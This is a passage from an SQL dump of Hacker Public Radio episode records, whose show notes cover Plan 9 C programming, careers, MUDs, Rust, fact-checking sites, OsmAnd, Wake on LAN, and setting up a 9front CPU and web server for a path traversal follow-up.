the wiki</a>. Both are served as a ports system, similar to a BSD style ports system. There are no binary packages. Makefiles are broken.</p>\n<h2 id=\"programming-languages\">Programming Languages</h2>\n<h3 id=\"mkfiles\">mkfiles</h3>\n<p>9 ships a program called <code>mk(1)</code>. Syntax (in the simplest ways) is identical to UNIX <code>make(1)</code>.</p>\n<h3 id=\"the-absurdities-of-9-c\">The Absurdities of 9 C</h3>\n<p>Plan 9 C is syntactically similar to ANSI C but it varies. The stdlibs on 9 are much simpler than the POSIX monster.</p>\n<pre class=\"c\"><code>/* POSIX C example */\n#include &lt;stdio.h&gt;\n\nint main(){\n    printf(&quot;hello, world\\n&quot;);\n    return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* 9 C example */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(){\n    print(&quot;hello, world\\n&quot;);\n    exits(0);\n}\n</code></pre>\n<p><code>u.h</code> contains CPU specific instructions, <code>libc.h</code> contains all of the system calls, time functions, math functions, unicode functions, and print functions. In contrast to POSIX, functions in 9c return strings instead of ints.</p>\n<pre class=\"sh\"><code># Compiling on UNIX\n$ cc main.c\n$ ./a.out\nhello, world\n$\n</code></pre>\n<pre class=\"sh\"><code># Compiling on 9\n% 6c main.c\n% 6l main.6\n% 6.out\nhello, world\n%\n</code></pre>\n<p>In the 9 compiler example, I\'m using the amd64 compiler and linker. Notice how the <code>6</code> persists as the prefix/suffix to help developers remember which architecture this specific program is written for. Instead of unspecific object files with a <code>.o</code> suffix, the object file\'s suffix is actually representative of what types of opcodes the file contains. Similarly, after linking, the <code>6.</code> prefix tells us that the binary is for an amd64 processor.</p>\n<p>And also, the simplest UNIX program with buffers: read from stdin and write directly to stdout:</p>\n<pre class=\"c\"><code>/* POSIX C */\n#include &lt;stdio.h&gt;\n\nint main(int argc, char *argv[]){\n    char buf[32];\n    size_t bufs = sizeof(char)*32;\n    size_t nread = 0;\n\n    while((nread = fread(buf, 1, bufs, stdin)) &gt; 0){\n        fwrite(buf, 1, nread, stdout);\n    }\n\n    return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* Plan 9 C */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(int argc, char *argv[]){\n    char buf[32];\n    char bufs = sizeof(char)*32;\n    int nread = 0;\n\n    while((nread = read(0, buf, bufs)) &gt; 0){\n        write(1, buf, nread);\n    }\n\n    exits(0);\n}\n</code></pre>\n<p>In 9, <code>stdin</code> is file descriptor <code>0</code>, <code>stdout</code> is <code>1</code>, and <code>stderr</code> is <code>2</code>.</p>\n<p>And, the binary sizes betwen the two. You probably recognize <code>a.out</code>, this one was compiled with GCC. <code>6.out</code> is an amd64 Plan 9 binary compiled on 9.</p>\n<pre class=\"sh\"><code>$ ls -sh ./*.out\n4.0K ./6.out\n 28K ./a.out\n</code></pre>\n<p>Binaries on plan 9 are statically linked. It\'s somewhat strange to see that a statically linked binary is smaller than a dynamically linked one. Even compiling the plan 9 source on Linux using plan9port yeilds a large binary: 40K.</p>\n<p>I have not written 9C in a long time so I cannot say much more with confidence and authority. Refer to <a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a> for more information.</p>\n<p>The <code>acid(1)</code> debugger exists but it\'s hard to use if you\'re not fluent in assembly.</p>\n<h3 id=\"ancient-go\">Ancient Go</h3>\n<p>Ancient Go once ran on 9. In 2022, you\'re better off just writing C and rc.</p>\n<h2 id=\"wifi\">WiFi</h2>\n<p>Some wifi cards are supported on 9front. My thinkpad x220 uses the iwl drivers. The FQA is somewhat vague when it comes to actually using the drivers. Good luck :)</p>\n<h1 id=\"why-isnt-9-more-popular-if-it-supposedly-improves-on-bad-unix-ideas\">Why isn\'t 9 more popular if it supposedly improves on \"bad Unix ideas\"?</h1>\n<ul>\n<li>Unix is \'just good enough\'</li>\n<li>9 is not \'better enough\' to beat out \'just good enough\'</li>\n<li>Porting software is difficult^impossible because 9 was deliberately written to be <em>not</em> backwards compatible.\n<ul>\n<li>\"If you port it, they will come\"</li>\n</ul></li>\n<li>9 is uncomfortable to use if you have Unix muscle memory</li>\n<li>no modern web browser</li>\n<li>no video games (I\'m pretty sure there are doom and quake source ports though)</li>\n<li>multimedia consumption is hard</li>\n<li>no GNU</li>\n</ul>\n<h1 id=\"why-do-people-use-9-if-its-so-bad\">Why do people use 9 if it\'s so bad?</h1>\n<p>I can\'t be sure about all other ~20 Plan 9 fans in the world, but for myself, it\'s purely out of a genuine curiosity and love for computing. My motivation for learning obscure, unnecessary, and quite frankly boring things related to computers is that it brings me some sense of satisfaction/accomplishment/enjoyment. Linux stopped being fun for me when I came to the realization that all distributions are fundamentally the same. I started exploring the BSD world only to realize that all UNIX-like operating systems are fundamentally the same. Although BSD remains a store of fun for me, I occasionally feel burned out on UNIX even if it\'s an abstract idea/experience/codebase I cherish.</p>\n<p>When I sit down at a computer my goal is always to discover something new, learn a new concept, explore alternative paradigms, and, most of all, to have fun in the process.</p>\n<p>For most people, 9 is a tourist experience. For me, it\'s the final frontier. Although I have yet to learn as much about 9 as I have about UNIX, every time I swap hard drives and boot into 9 I feel a sense of coming home. Sometimes I think I am wilfully resisting becoming a 9 expert because it will result in me struggling to find the next non-bad OS paradigm to explore.</p>\n<p>And when I think about \"using a computer\", what do I really do on the computer? I learn about it, learn about the software running on it, and proceed to write about it so that I can reinforce the ideas in a Feynman-esque way. I\'m not really providing a real tangible value to the world because it\'s purely a \"hey, here\'s the things I learned the hard way so you don\'t have to\".</p>\n<h1 id=\"conclusion\">Conclusion:</h1>\n<blockquote>\n<p>How do I do xyz on 9?</p>\n</blockquote>\n<p>don\'t. search engines won\'t help. Man pages won\'t help. /sys/doc might help. Reading the source code won\'t help. have fun :)</p>\n<p>Or consider:</p>\n<pre class=\"sh\"><code>term% vt -xb\nterm% ssh user@host\n$ tmux a\n$ reset\n# some commands\n$ reset\n# some commands\n$ reset\n</code></pre>\n<p>Alternatively:</p>\n<pre class=\"sh\"><code>term% vncv host:display\n</code></pre>\n<h1 id=\"further-reading\">Further reading:</h1>\n<ul>\n<li><a href=\"https://fqa.9front.org\">9front FQA</a>. Very humorous, good information</li>\n<li>read the papers in <code>/sys/doc</code> or <a href=\"https://doc.cat-v.org/plan_9/2nd_edition/papers/\">on cat-v.org</a></li>\n<li><a href=\"https://youtu.be/6m3GuoaxRNM\">Plan 9: Not dead, Just resting</a></li>\n<li><a href=\"https://youtu.be/Dt3Dr3jUPjo\">A visual demonstration of rio</a></li>\n<li><a href=\"https://youtu.be/dP1xVpMPn8M\">A visual demonstration of acme</a></li>\n<li><a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a></li>\n<li><a href=\"https://pspodcasting.net/dan/blog/2019/plan9_desktop.html#conclusion\">Plan 9 Desktop Guide</a>. Might be useful for someone. Not too useful for me. Man pages are better.</li>\n<li><a href=\"https://www.youtube.com/user/C04tl3\">C04tl3 youtube channel</a>. Lots of cool videos with information.</li>\n<li><a href=\"https://archive.org/details/plan9designintro\">Introduction to Operating System Abstractions using Plan 9 from Bell Labs </a></li>\n<li><a href=\"https://sdf.org/plan9/\">SDF public Plan 9 server</a></li>\n</ul>\n',406,0,1,'CC-BY-SA','UNIX, Plan 9',0,0,1),
(3688,'2022-09-21','Education, Certifications, and sipping on the Socials',1820,'I discuss the value of an Education, certifications, and a positive Social Media presence.','<p>I have had a lot of questions over the years about how to proceed with a career, education, and certifications. So, I give my take on these and what they mean relative to my life experiences. Individual mileage may vary. I also discuss the need to have a public facing social media presence that is active and consistent. Hide the private Socials and search to see what actually shows up when searching for yourself. Your future employers will. Just sayin\'.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,education,certifications',0,0,1),
(3674,'2022-09-01','Emergency Show posted in 2012. MUD',1241,'In today\'s show klaatu drags us through the mud with his somewhat belated descovery.','<p>\n<strong>MUD</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nA MUD ( originally Multi-User Dungeon, with later variants Multi-User Dimension and Multi-User Domain), is a multiplayer real-time virtual world, usually text-based. MUDs combine elements of role-playing games, hack and slash, player versus player, interactive fiction, and online chat. Players can read or view descriptions of rooms, objects, other players, non-player characters, and actions performed in the virtual world. Players typically interact with each other and the world by typing commands that resemble a natural language.<br />\n<a href=\"https://en.wikipedia.org/wiki/Multi-User_Dungeon\">https://en.wikipedia.org/wiki/Multi-User_Dungeon</a>\n</p>\n\n<p>\nTinTin++, aka tt++, is a free MUD client for Mac OS X, Linux, and Windows. The Windows port named WinTin++ (using the PuTTY derived mintty terminal) is available for those who do not use Cygwin (A Linux/Unix emulator for Windows) and runs on Windows Xp, Windows Vista, and Windows 7. Besides MUDs, TinTin++ also works well with MUSH, Rogue, BBS, and Linux servers.<br />\n<a href=\"http://tintin.sourceforge.net/\">http://tintin.sourceforge.net/</a>\n</p>\n\n<p>\n<strong>Ancient Anguish</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nAncient Anguish, abbreviated AA, is a fantasy-themed MUD, a text-based online role-playing game. Founded in 1991 by Balz \"Zor\" Meierhans and Olivier \"Drake\" Maquelin, it opened to the public on February 2, 1992. It is free to play, but has been supported by player donations since 1994.<br />\n<a href=\"https://en.wikipedia.org/wiki/Ancient_Anguish\">https://en.wikipedia.org/wiki/Ancient_Anguish</a>\n</p>\n',78,0,0,'CC-BY-SA','RPG,MUD,TinTin++,WinTin++',0,0,1),
(3681,'2022-09-12','Rust 101 Episode 3: Functionally Insane',2481,'In this episode BlacKernel teaches you how to make functions and for loops in rust','<p>In this episode BlacKernel is back! (Although a lot more loopy than I remember being while recording)</p>\n<p>And teaching you how to make functions, for loops, and match statements in Rust.</p>\n<p>Points covered in this episode:</p>\n<ul>\n<li>isize and usize number types in rust</li>\n<li>fn (function) declarations with arguments and return types</li>\n<li>match statements both bare and part of variable assignment</li>\n<li>for _ in 1..x loops. That is for loops over an iterator variable across a range of integers.<br />\n</li>\n</ul>\n<p>Email: izzyleibowitz@pm.me<br />\nMastodon: <a href=\"https://nixnet.social/BlacKernel\" class=\"uri\">https://nixnet.social/BlacKernel</a></p>\n',396,25,1,'CC-BY-SA','rust, for loop, for, match, functions, loops, usize, isize, programming, tutorial',0,0,1),
(3697,'2022-10-04','Mis-information, Dis-information, and Fake News. You are a product and target for all of it.',4297,'Brady and I discuss Mis-information, Dis-information, and Fake News.','<p>Brady and I discuss Mis-information, Dis-information, and Fake News. We discuss what it is, how it is used, and we are all a product and target for all of it. We discuss ways to avoid deception which leads to a philosophical discussion about truth, morals, and ethics. Brady takes a moment on the couch discussing how understanding the matrix for what it is can affect you on a personal level.</p>\n<h2 id=\"links-and-resources\">Links and Resources:</h2>\n<p>Definitely NOT real NEWS, but FUN to read:</p>\n<ul>\n<li><p>The Onion <a href=\"https://www.theonion.com/\" class=\"uri\">https://www.theonion.com/</a></p></li>\n<li><p>The Weekly World News <a href=\"https://weeklyworldnews.com/\" class=\"uri\">https://weeklyworldnews.com/</a></p></li>\n<li><p>Mad Magazine <a href=\"https://www.madmagazine.com/\" class=\"uri\">https://www.madmagazine.com/</a></p></li>\n</ul>\n<h2 id=\"fight-disinformation-with-fact-checking-sites\">Fight Disinformation with Fact Checking Sites:</h2>\n<ul>\n<li><p>Snopes<br />\n(almost everything including politics, history, science, and technology)<br />\nSnopes is one of the oldest fact-checking websites on the internet and it was started by David and Barbara Mikkelson in 1994. Apart from its huge repository of debunked stories, Snopes still tackles fake news and misinformation in a smart way. As fake information is getting more sophisticated in its language and tone, users are easily falling for it. So to counter the misinformation, Snopes offers detailed explanations from genuine sources (like WHO, CDC) and sets the facts straight.<br />\n<a href=\"https://www.snopes.com/\" class=\"uri\">https://www.snopes.com/</a></p></li>\n<li><p>Politifact<br />\n(all about fact-checking political claims)<br />\nPolitiFact is one of the largest political fact-checking newsrooms in the US and for its impressive work in 2008, the website was awarded Pulitzer Prize for National Reporting. It&#x2019;s run by the prestigious Poynter Institute (founder of International Fact-Checking Network) and reporters from the independent Tampa Bay Times.<br />\n<a href=\"https://www.politifact.com/\" class=\"uri\">https://www.politifact.com/</a></p></li>\n<li><p>FactCheck.org<br />\n(political claims, rhetorics, deception, and lies)<br />\nPrimarily deals with political claims and rhetorics. However, the website also tries to bring accountability to public officials by exposing deception and their lies. It&#x2019;s an attempt to bring more factual accuracy to the public discourse which is not just limited to politics, but also extends to TV ads, speeches, interviews, and news releases.<br />\n<a href=\"https://www.factcheck.org/fake-news/\" class=\"uri\">https://www.factcheck.org/fake-news/</a></p></li>\n<li><p>ProPublica<br />\n(deep dive for hidden truth)<br />\nProPublica is an independent investigative online newsroom. More than a fact-checking website, but a portal where you can dive deep and find the hidden truth. For its far-reaching work in the public interest, ProPublica has been awarded several Pulitzer Prizes for public service, explanatory reporting, national reporting, and investigative journalism. As for the coverage, it goes beyond politics and looks into healthcare, education, finances, criminal justice and more. The website is funded by the Knight Foundation, MacArthur Foundation, Ford Foundation, and other few philanthropic institutes.<br />\n<a href=\"https://www.propublica.org/\" class=\"uri\">https://www.propublica.org/</a></p></li>\n<li><p>OpenSecrets<br />\n(politics)<br />\nOpenSecrets finds the effects of money lobbying into electoral politics and fact-checks political speeches and claims. It tracks how a politician is being funded and who are the firms that are funneling money into politics. It was started by the Center for Responsive Politics (CSR) way back in 1983. And as a result of the long operation, OpenSecrets has now one of the largest public databases of donors and political beneficiaries.<br />\n<a href=\"https://www.opensecrets.org/\" class=\"uri\">https://www.opensecrets.org/</a></p></li>\n<li><p>Washington Post Fact Checker<br />\n(critical analysis to what politicians have said this week)<br />\nFact-checking column under diplomatic correspondent, Glenn Kessler. It does not fact-check every claim on politics and economy, instead the website offers critical analysis to what politicians have said this week. It tries to underline facts and context against a seemingly factful narrative.<br />\n<a href=\"https://www.washingtonpost.com/news/fact-checker/\" class=\"uri\">https://www.washingtonpost.com/news/fact-checker/</a></p></li>\n<li><p>Full Fact<br />\n(Fact-checking website focused on the UK and Europe)<br />\nA one-stop online portal where you can find information on a wide variety of topics. Full Fact is quick to debunk claims with well-resourced articles and by citing research papers by academics and professionals. So, no matter if it&#x2019;s a post about technology, medicine or some supernatural power, Full Fact sets the facts straight in a timely manner. It&#x2019;s a team of independent fact-checkers and campaigners who find a multitude of viral posts from social media and expose them to counter misleading people on the internet. Full Fact runs a &#x201C;Viral Posts on Facebook&#x201D; page where it lists out all the outrageous claims and debunks them with detailed explanation and authentic sources.<br />\n<a href=\"https://fullfact.org/\" class=\"uri\">https://fullfact.org/</a> and for most recent <a href=\"https://fullfact.org/latest/\" class=\"uri\">https://fullfact.org/latest/</a></p></li>\n<li><p>Alt News<br />\n(fake claims and political misinformation in India)<br />\nAlt News is also one of the few fact-checking websites in India which is certified by IFCN (International Fact-Checking Network). It&#x2019;s run by Pravda Media Foundation and offers its fact-checking service in both English and Hindi. As for funding, Alt News primarily relies on user donations and other independent media trusts. The website is also in partnership with WhatsApp for busting fake news on its chat platform. Apart from that, Alt News regularly debunks claims made on social media platforms covering science, education, and society at large.<br />\n<a href=\"https://www.altnews.in/\" class=\"uri\">https://www.altnews.in/</a></p></li>\n<li><p>BOOM FactCheck<br />\n(fact-checking website in India)<br />\nThis is a fact-checking website in India that exposes fake news on digital platformsIt. BOOM is a signatory of the IFCN Code of Principles and sticks to a high standard of fact-checking methodology. The website is run by Data journalist, Govindraj Ethiraj who earlier worked at Bloomberg. And like other fact-checking websites, Boom also relies on ads and user donations. Apart from this, Boom has a tie-up with WhatsApp to fight the war of misinformation. Boom offers its service in three languages i.e. English, Hindi, and Bengali. Further, it covers the current news cycle, political rhetorics, viral claims made on social media, urban legends, myths, and rumors.<br />\n<a href=\"https://www.boomlive.in/\" class=\"uri\">https://www.boomlive.in/</a></p></li>\n<li><p>SM Hoax Slayer<br />\n(fake information on social media platforms)<br />\nSM Hoax Slayer is quick to debunk the claim and update the users through its social media channels. According to the founder, the project started as a place to puncture harmless lies, pranks, and rumors, but soon it developed into a full-fledged fact-checking website. Many mainstream newspapers and media houses including Aaj Tak and Navbharat Times cite SM Hoax Slayer as a reliable source for busting fake news. Coming to funding, SM Hoax Slayer is mostly run by volunteers and funded by user donations and ads.<br />\n<a href=\"https://smhoaxslayer.com/\" class=\"uri\">https://smhoaxslayer.com/</a></p></li>\n<li><p>Reuters Fact Check<br />\n(international news fact checking)<br />\n<a href=\"https://www.reuters.com/fact-check\" class=\"uri\">https://www.reuters.com/fact-check</a><br />\n</p></li>\n</ul>\n<h2 id=\"picks-of-the-week\">Picks of the Week:</h2>\n<ul>\n<li><p>Brady\'s Picks</p>\n<ul>\n<li><p>Tobii Pro: Optimizing User Experience and Advertising Research with Eye Tracking<br />\n<a href=\"https://youtu.be/ConsSlIf6n4\" class=\"uri\">https://youtu.be/ConsSlIf6n4</a></p></li>\n<li><p>Hotjar: Website Heatmaps &amp; Behavior Analytics Tools<br />\n<a href=\"https://www.hotjar.com/\" class=\"uri\">https://www.hotjar.com/</a></p></li>\n</ul></li>\n<li><p>Robert\'s Pick:</p>\n<ul>\n<li>House of the Dragon: The Game of Thrones prequel<br />\n<a href=\"https://www.hbo.com/house-of-the-dragon\" class=\"uri\">https://www.hbo.com/house-of-the-dragon</a></li>\n</ul></li>\n</ul>\n<h2 id=\"cool-shit\">Cool Shit:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,misinformation,disinformation,fakenews',0,0,1),
(3706,'2022-10-17','The Future of Technology',3054,'A philosophical look at the future of technology.','<p>Brady and I discuss people and technology; where it was, where we are, and where we are going. Put on your philosophy hats!</p>\n<h3 id=\"podcast-stuff\">Podcast Stuff:</h3>\n<ul>\n<li><p>Robert actually had an Atari 1200 XL:<br />\n<a href=\"http://oldcomputers.net/atari-1200xl.html\" class=\"uri\">http://oldcomputers.net/atari-1200xl.html</a></p></li>\n<li><p>Ray Ban Smart Glasses:<br />\n<a href=\"https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related\" class=\"uri\">https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related</a></p></li>\n<li><p>Google Glass is Back:<br />\n<a href=\"https://www.google.com/glass/start/\" class=\"uri\">https://www.google.com/glass/start/</a></p></li>\n<li><p>Microsoft Research:<br />\n<a href=\"https://www.microsoft.com/en-us/research/about-microsoft-research/\" class=\"uri\">https://www.microsoft.com/en-us/research/about-microsoft-research/</a></p></li>\n<li><p>Microsoft Open Source Blog:<br />\n<a href=\"https://cloudblogs.microsoft.com/opensource/\" class=\"uri\">https://cloudblogs.microsoft.com/opensource/</a></p></li>\n<li><p>Microsoft Open Source Hardware:<br />\n<a href=\"https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/\" class=\"uri\">https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/</a></p></li>\n</ul>\n<h3 id=\"picks-of-the-week\">Picks of the Week:</h3>\n<h4 id=\"bradys-picks\">Brady\'s Picks</h4>\n<ul>\n<li>Defeating the Hacker: A non-technical guide to computer security by Robert Schifreen<br />\n<a href=\"https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557\" class=\"uri\">https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557</a></li>\n</ul>\n<h4 id=\"roberts-pick\">Robert\'s Pick:</h4>\n<ul>\n<li>The Satanic Verses by Salman Rushdie<br />\n<a href=\"https://en.wikipedia.org/wiki/The_Satanic_Verses\" class=\"uri\">https://en.wikipedia.org/wiki/The_Satanic_Verses</a></li>\n</ul>\n<h3 id=\"cool-shit\">Cool Shit:</h3>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,technology,philosophy,future',0,0,1),
(3716,'2022-10-31','How I got in to Tech',531,'My journey in to technology','<p>I share my story about how I got in to technology.</p>\n',405,29,1,'CC-BY-SA','career,technology',0,0,1),
(3683,'2022-09-14','Add a favourite to OSMAnd',97,'Ken keeps forgetting how to add a favourite to OSMAnd','<p>I keep forgetting how to add a favorite to OSMAnd, so I\'ve recorded this show to remind myself how to do it.</p>\n\n<ol>\n<li>Search for a location, either in the Hamburger Menu or clicking the Magnifying glass icon</li>\n<li>Type in your address and select the place</li>\n<li>The screen will appear with a Locator Pin</li>\n<li>On the bottom click Add and Save</li>\n<li>You can optionally include them in a group</li>\n</ol>\n\n<p><img src=\"/eps/hpr3683/01.jpg\" alt=\"Click Search\" /></p>\n<p><img src=\"/eps/hpr3683/02.jpg\" alt=\"Or Menu Search\" /></p>\n<p><img src=\"/eps/hpr3683/03.jpg\" alt=\"Type address eg Amsterdam Centraal\" /></p>\n<p><img src=\"/eps/hpr3683/04.jpg\" alt=\"Locate address, and click Add\" /></p>\n<p><img src=\"/eps/hpr3683/05.jpg\" alt=\"Click Save\" /></p>\n\n<p>\nAbout <a href=\"https://en.wikipedia.org/wiki/OsmAnd\">https://en.wikipedia.org/wiki/OsmAnd</a><br />\n<em>\nOsmAnd is a map and navigation app for Android and iOS. It uses the OpenStreetMap map database for its primary displays, but is an independent app not endorsed by the OpenStreetMap Foundation</em>\n</p>\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://osmand.net/\">https://osmand.net/</a></li>\n<li><a href=\"https://f-droid.org/en/packages/net.osmand.plus/\">https://f-droid.org/en/packages/net.osmand.plus/\"</a></li>\n</ul>\n\n\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Open Street Maps, Android',0,0,1),
(3685,'2022-09-16','Budget and an Android app',122,'Zoho docs for budgeting','<h2 id=\"zoho-sheets\">Zoho sheets</h2>\n<p><a href=\"https://sheet.zoho.com\" title=\"Zoho Spreadsheet\">Zoho Sheets</a></p>\n<h2 id=\"zoho-android-app\">Zoho Android app</h2>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.zoho.sheet.android&amp;gl=US\" title=\"Zoho Sheets - Android app\">Zoho Sheets - Android app</a></p>\n<h4 id=\"places\">Places</h4>\n<ul>\n<li>Dropbox.com</li>\n<li>Box.com</li>\n</ul>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3685/Budget_sample_2022-9-9.ods\" title=\"Budget sample in LibreOffice dated 9-9-2022\">Budget sample from LibreOffice</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, Android',0,0,1),
(3684,'2022-09-15','Wake on Lan',602,'Wake on Lan mother board feature','<h2 id=\"wakeonlan-wol\">WakeOnLAN (WOL)</h2>\n<p>From <a href=\"https://wiki.wireshark.org/WakeOnLAN#:~:text=WakeOnLAN%20is%20the%20protocol%20name%20given%20to%20the,automatically%20powered-down%20because%20of%20its%20power%20management%20features\">wiki.wireshark.org</a></p>\n<blockquote>\n<p><em>WakeOnLAN is the protocol name given to the so-called Magic Packet technology, developed by AMD and Hewlett Packard for remotely waking up a remote host that may have been automatically powered-down because of its power management features. Although power management allows companies and individuals to cut power usage costs, it presents a problem for IT departments especially in being able to quickly and efficiently remotely manage PC\'s, especially during off-hours operation when those PC\'s are most likely to be in a suspended or standby state, assuming power management features are enabled.</em></p>\n</blockquote>\n',129,0,0,'CC-BY-SA','Wake on Lan, wol',0,0,1),
(3686,'2022-09-19',' Followup for HPR3675: Clarifications on the path traversal bug',2335,'installing a plan 9 cpu+web server, namespaces to the rescue, web app security models and more','<h1 id=\"followup-for-hpr3675-installing-a-plan-9-cpu-server-plan-9-web-server-clarifications-on-the-path-traversal-bug-private-namespaces-to-the-rescue-web-application-security-models\">Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models</h1>\n<hr />\n<h1 id=\"installing-plan-9-with-libvirt\">Installing Plan 9 with libvirt</h1>\n<pre class=\"sh\"><code>[root@localhost]# virt-install -n 9pwn \\\n--description &quot;pre-patched rc-httpd&quot; \\\n--osinfo=unknown \\\n--memory=4096 \\\n--vcpus=4 \\\n--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \\\n--graphics spice \\\n--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \\\n--network bridge=virbr0\n\n[root@localhost]# virt-viewer 9pwn\n</code></pre>\n<p>How I find the IP of my guests and add it to my /etc/hosts for faster access.</p>\n<pre class=\"sh\"><code>[root@localhost]# virsh domiflist 9pwn\n Interface   Type     Source   Model   MAC\n----------------------------------------------------------\n vnet3       bridge   virbr0   e1000   52:54:00:43:8a:50\n\n[root@localhost]# arp -e | grep 52:54:00:43:8a:50\n192.168.122.20           ether   52:54:00:43:8a:50   C                     virbr0\n\n[root@localhost]# echo cirno 192.168.122.20 &gt;&gt; /etc/hosts\n</code></pre>\n<p>Proceed as normal with a 9 installation</p>\n<hr />\n<h1 id=\"set-up-cpu-server-with-rc-httpd-and-werc\">Set up CPU server with rc-httpd and werc</h1>\n<p><a href=\"https://0x19.org/posts/2022-09-03.php\">I wrote about configuring a CPU server</a> and also mirrored the notes at <a href=\"https://9.0x19.org/9notes/9front-web-server\">my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it\'s fine)</a> I\'ve snarfed+pasted it here for the sake of completeness and modified it slightly so that it\'s more accessible for other people. I\'ve also revised these notes so that they\'re less-broken. I may or may not update them.</p>\n<p>I\'m using <a href=\"https://9front.org\">9front</a> for this. It has more secure authentication protocols when it comes to remotely connecting.</p>\n<h2 id=\"configuring-a-cpu-server\">Configuring a CPU server</h2>\n<h3 id=\"add-users-to-file-server\">Add users to file server</h3>\n<p>Connect to the file server and add a new user called <code>&lt;ExampleUser&gt;</code> who is in the groups <code>sys</code>, <code>adm</code>, and <code>upas</code></p>\n<pre class=\"sh\"><code>term% con -C /srv/cwfs.cmd\nnewuser &lt;ExampleUser&gt;\nnewuser sys +&lt;ExampleUser&gt;\nnewuser adm +&lt;ExampleUser&gt;\nnewuser upas +&lt;ExampleUser&gt;\n</code></pre>\n<p>Reboot and set <code>user=&lt;ExampleUser&gt;</code> when prompted at boot time.</p>\n<h3 id=\"configure-users-environment\">Configure user\'s environment</h3>\n<p>This is similar to <code>cp -r /etc/skel /home/&lt;ExampleUser&gt;</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>/sys/lib/newuser\n</code></pre>\n<h3 id=\"configure-headless-booting\">Configure headless booting</h3>\n<p>Mount the boot partition:</p>\n<pre class=\"sh\"><code>term% 9fs 9fat\n</code></pre>\n<p>edit the boot config, <code>/n/9fat/plan9.ini</code></p>\n<pre class=\"sh\"><code>bootfile=9pc64\nnobootprompt=local!/dev/sdC0/fscache\nmouseport=ps2\nmonitor=vesa\nvgasize=1024x768x14\nuser=&lt;ExampleUser&gt;\ntiltscreen=none\nservice=cpu\n</code></pre>\n<h3 id=\"add-hostowner-info-to-nvram\">Add hostowner info to nvram</h3>\n<p>Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The <code>user=</code> line in our bootprompt sets the hostowner.</p>\n<p>For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner\'s key to nvram.</p>\n<pre class=\"sh\"><code>term% nvram=/dev/sdF0/nvram auth/wrkey\nbad nvram des key\nbad authentication id\nbad authentication domain\nauthid: &lt;ExampleUser&gt;\nauthdom: cirno\nsecstore key: &lt;press the return key if you do not want to type this at boot time&gt;\npassword: &lt;make it 8 chars&gt;\n</code></pre>\n<h3 id=\"configure-auth-server\">Configure auth server</h3>\n<p>In order to connect to the system over the network, the new user must be added to the auth server.</p>\n<pre class=\"sh\"><code>term% auth/keyfs\nterm% auth/changeuser &lt;ExampleUser&gt;\nPassword: &lt;what you put earlier&gt;\nConfirm password:\nAssign new Inferno/POP secret? [y/n]: n\nExpiration date (YYYYMMDD or never) [never]: never\nPost id:\nUser&#39;s full name:\nDepartment #:\nUser&#39;s email address:\nSponsor&#39;s email address:\nuser 